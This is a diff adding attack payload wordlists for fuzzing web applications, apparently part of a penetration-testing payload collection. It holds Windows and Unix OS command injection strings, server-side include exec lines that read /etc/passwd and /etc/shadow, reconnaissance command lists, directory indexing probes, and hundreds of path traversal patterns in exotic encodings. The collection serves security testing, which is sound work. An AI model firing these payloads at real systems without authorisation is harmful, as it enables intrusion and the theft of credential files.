||||
winnt
|
||||
winnt32
|
||||
wmic
|
||||
xcopy
|
||||
164
attack/os-cmd-execution/Commands-WindowsPowershell.txt
Normal file
164
attack/os-cmd-execution/Commands-WindowsPowershell.txt
Normal file
|
|
@ -0,0 +1,164 @@
|
|||
get-acl
|
||||
set-acl
|
||||
get-alias
|
||||
import-alias
|
||||
new-alias
|
||||
set-alias
|
||||
get-authenticodesignature
|
||||
set-authenticodesignature
|
||||
set-location
|
||||
get-childitem
|
||||
get-command
|
||||
measure-command
|
||||
trace-command
|
||||
add-content
|
||||
get-content
|
||||
set-content
|
||||
clear-content
|
||||
convertto-html
|
||||
convertfrom-securestring
|
||||
convertto-securestring
|
||||
clear-host
|
||||
clear-item
|
||||
copy-item
|
||||
get-credential
|
||||
get-childitem
|
||||
get-date
|
||||
set-date
|
||||
remove-item
|
||||
do
|
||||
get-psdrive
|
||||
new-psdrive
|
||||
remove-psdrive
|
||||
get-eventlog
|
||||
get-executionpolicy
|
||||
set-executionpolicy
|
||||
export-alias
|
||||
export-clixml
|
||||
export-console
|
||||
export-csv
|
||||
invoke-expression
|
||||
exit
|
||||
foreach-object
|
||||
foreach
|
||||
for
|
||||
format-custom
|
||||
format-list
|
||||
format-table
|
||||
format-wide
|
||||
get-item
|
||||
get-childitem
|
||||
get-help
|
||||
add-history
|
||||
get-history
|
||||
invoke-history
|
||||
get-host
|
||||
clear-host
|
||||
read-host
|
||||
write-host
|
||||
if
|
||||
import-clixml
|
||||
import-csv
|
||||
get-item
|
||||
invoke-item
|
||||
new-item
|
||||
remove-item
|
||||
set-item
|
||||
clear-itemproperty
|
||||
copy-itemproperty
|
||||
get-itemproperty
|
||||
move-itemproperty
|
||||
new-itemproperty
|
||||
remove-itemproperty
|
||||
rename-itemproperty
|
||||
set-itemproperty
|
||||
stop-process
|
||||
get-location
|
||||
pop-location
|
||||
push-location
|
||||
set-location
|
||||
add-member
|
||||
get-member
|
||||
move-item
|
||||
compare-object
|
||||
group-object
|
||||
measure-object
|
||||
new-object
|
||||
select-object
|
||||
sort-object
|
||||
where-object
|
||||
out-default
|
||||
out-file
|
||||
out-host
|
||||
out-null
|
||||
out-printer
|
||||
out-string
|
||||
powershell
|
||||
convert-path
|
||||
join-path
|
||||
resolve-path
|
||||
split-path
|
||||
test-path
|
||||
get-pfxcertificate
|
||||
pop-location
|
||||
push-location
|
||||
get-process
|
||||
stop-process
|
||||
clear-itemproperty
|
||||
copy-itemproperty
|
||||
get-itemproperty
|
||||
move-itemproperty
|
||||
new-itemproperty
|
||||
remove-itemproperty
|
||||
rename-itemproperty
|
||||
set-itemproperty
|
||||
get-psprovider
|
||||
set-psdebug
|
||||
add-pssnapin
|
||||
get-pssnapin
|
||||
remove-pssnapin
|
||||
quest
|
||||
read-host
|
||||
remove-item
|
||||
rename-item
|
||||
rename-itemproperty
|
||||
run/call
|
||||
select-object
|
||||
get-service
|
||||
new-service
|
||||
restart-service
|
||||
resume-service
|
||||
set-service
|
||||
sort-object
|
||||
start-service
|
||||
stop-service
|
||||
suspend-service
|
||||
start-sleep
|
||||
switch
|
||||
select-string
|
||||
tee-object
|
||||
new-timespan
|
||||
trace-command
|
||||
get-tracesource
|
||||
set-tracesource
|
||||
start-transcript
|
||||
stop-transcript
|
||||
get-uiculture
|
||||
get-unique
|
||||
update-formatdata
|
||||
update-typedata
|
||||
clear-variable
|
||||
get-variable
|
||||
new-variable
|
||||
remove-variable
|
||||
set-variable
|
||||
where-object
|
||||
where
|
||||
while
|
||||
get-wmiobject
|
||||
write-debug
|
||||
write-error
|
||||
write-output
|
||||
write-progress
|
||||
write-verbose
|
||||
write-warning
|
||||
20
attack/os-cmd-execution/OSCommandInject.Windows.txt
Normal file
20
attack/os-cmd-execution/OSCommandInject.Windows.txt
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
+|+Dir+c:\
|
||||
$+|+Dir+c:\
|
||||
%26%26+|+dir c:\
|
||||
$%26%26dir c:\
|
||||
%0a+dir+c:\
|
||||
+|+Dir+c:%255c
|
||||
$+|+Dir+c:%255c
|
||||
%26%26+|+dir c:%255c
|
||||
$%26%26dir+c:%255c
|
||||
%0a+dir+c:%255c
|
||||
+|+Dir+c:%2f
|
||||
$+|+Dir+c:%2f
|
||||
%26%26+|+dir c:%2f
|
||||
$%26%26dir+c:%2f
|
||||
%0a+dir+c:%2f
|
||||
+dir+c:\+|
|
||||
+|+dir+c:\+|
|
||||
+|+dir+c:%2f+|
|
||||
dir+c:\
|
||||
||+dir|c:\
|
||||
70
attack/os-cmd-execution/command-execution-unix.txt
Normal file
70
attack/os-cmd-execution/command-execution-unix.txt
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
|
||||
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
|
||||
<!--#exec%20cmd="/usr/bin/id;-->
|
||||
<!--#exec%20cmd="/usr/bin/id;-->
|
||||
/index.html|id|
|
||||
;id;
|
||||
;id
|
||||
;netstat -a;
|
||||
;id;
|
||||
|id
|
||||
|/usr/bin/id
|
||||
|id|
|
||||
|/usr/bin/id|
|
||||
||/usr/bin/id|
|
||||
|id;
|
||||
||/usr/bin/id;
|
||||
;id|
|
||||
;|/usr/bin/id|
|
||||
\n/bin/ls -al\n
|
||||
\n/usr/bin/id\n
|
||||
\nid\n
|
||||
\n/usr/bin/id;
|
||||
\nid;
|
||||
\n/usr/bin/id|
|
||||
\nid|
|
||||
;/usr/bin/id\n
|
||||
;id\n
|
||||
|usr/bin/id\n
|
||||
|nid\n
|
||||
`id`
|
||||
`/usr/bin/id`
|
||||
a);id
|
||||
a;id
|
||||
a);id;
|
||||
a;id;
|
||||
a);id|
|
||||
a;id|
|
||||
a)|id
|
||||
a|id
|
||||
a)|id;
|
||||
a|id
|
||||
|/bin/ls -al
|
||||
a);/usr/bin/id
|
||||
a;/usr/bin/id
|
||||
a);/usr/bin/id;
|
||||
a;/usr/bin/id;
|
||||
a);/usr/bin/id|
|
||||
a;/usr/bin/id|
|
||||
a)|/usr/bin/id
|
||||
a|/usr/bin/id
|
||||
a)|/usr/bin/id;
|
||||
a|/usr/bin/id
|
||||
;system('cat%20/etc/passwd')
|
||||
;system('id')
|
||||
;system('/usr/bin/id')
|
||||
%0Acat%20/etc/passwd
|
||||
%0A/usr/bin/id
|
||||
%0Aid
|
||||
%0A/usr/bin/id%0A
|
||||
%0Aid%0A
|
||||
& ping -i 30 127.0.0.1 &
|
||||
& ping -n 30 127.0.0.1 &
|
||||
%0a ping -i 30 127.0.0.1 %0a
|
||||
`ping 127.0.0.1`
|
||||
| id
|
||||
& id
|
||||
; id
|
||||
%0a id %0a
|
||||
`id`
|
||||
$;/usr/bin/id
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
..%255c
|
||||
.%5c../..%5c
|
||||
/..%c0%9v../
|
||||
/..%c0%af../
|
||||
/..%255c..%255c
|
||||
|
||||
10
attack/os-cmd-execution/useful-commands-unix.txt
Normal file
10
attack/os-cmd-execution/useful-commands-unix.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
uname -n -s
|
||||
whoami
|
||||
pwd
|
||||
last
|
||||
cat /etc/passwd
|
||||
ls -la /tmp
|
||||
ls -la /home
|
||||
ping -i 30 127.0.0.1
|
||||
ping 127.0.0.1
|
||||
ping -n 30
|
||||
3
attack/os-cmd-execution/useful-commands-windows.txt
Normal file
3
attack/os-cmd-execution/useful-commands-windows.txt
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
ver
|
||||
chdir
|
||||
echo %USERNAME%
|
||||
7
attack/os-dir-indexing/directory-indexing.txt
Normal file
7
attack/os-dir-indexing/directory-indexing.txt
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
;dir
|
||||
`dir`
|
||||
|dir|
|
||||
|dir
|
||||
/%3f.jsp
|
||||
?M=D
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
6
attack/path-traversal/path-traversal-windows.txt
Normal file
6
attack/path-traversal/path-traversal-windows.txt
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
C:/inetpub/wwwroot/global.asa
|
||||
C:\inetpub\wwwroot\global.asa
|
||||
C:/boot.ini
|
||||
C:\boot.ini
|
||||
D:\inetpub\wwwroot\global.asa
|
||||
D:/inetpub/wwwroot/global.asa
|
||||
887
attack/path-traversal/traversals-8-deep-exotic-encoding.txt
Normal file
887
attack/path-traversal/traversals-8-deep-exotic-encoding.txt
Normal file
|
|
@ -0,0 +1,887 @@
|
|||
/../{FILE}
|
||||
/../../{FILE}
|
||||
/../../../{FILE}
|
||||
/../../../../{FILE}
|
||||
/../../../../../{FILE}
|
||||
/../../../../../../{FILE}
|
||||
/../../../../../../../{FILE}
|
||||
/../../../../../../../../{FILE}
|
||||
/..%2f{FILE}
|
||||
/..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
|
||||
/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
|
||||
/%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
/..%252f{FILE}
|
||||
/..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
|
||||
/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
|
||||
/%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
|
||||
/..\{FILE}
|
||||
/..\..\{FILE}
|
||||
/..\..\..\{FILE}
|
||||
/..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\..\{FILE}
|
||||
/..\..\..\..\..\..\..\..\{FILE}
|
||||
/..%255c{FILE}
|
||||
/..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
/..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
|
||||
/%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
/%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
/%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
/%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
/..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
|
||||
/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
|
||||
/%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
|
||||
/..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
/..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
|
||||
/..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
|
||||
/..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
/..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
|
||||
/%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
/%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
|
||||
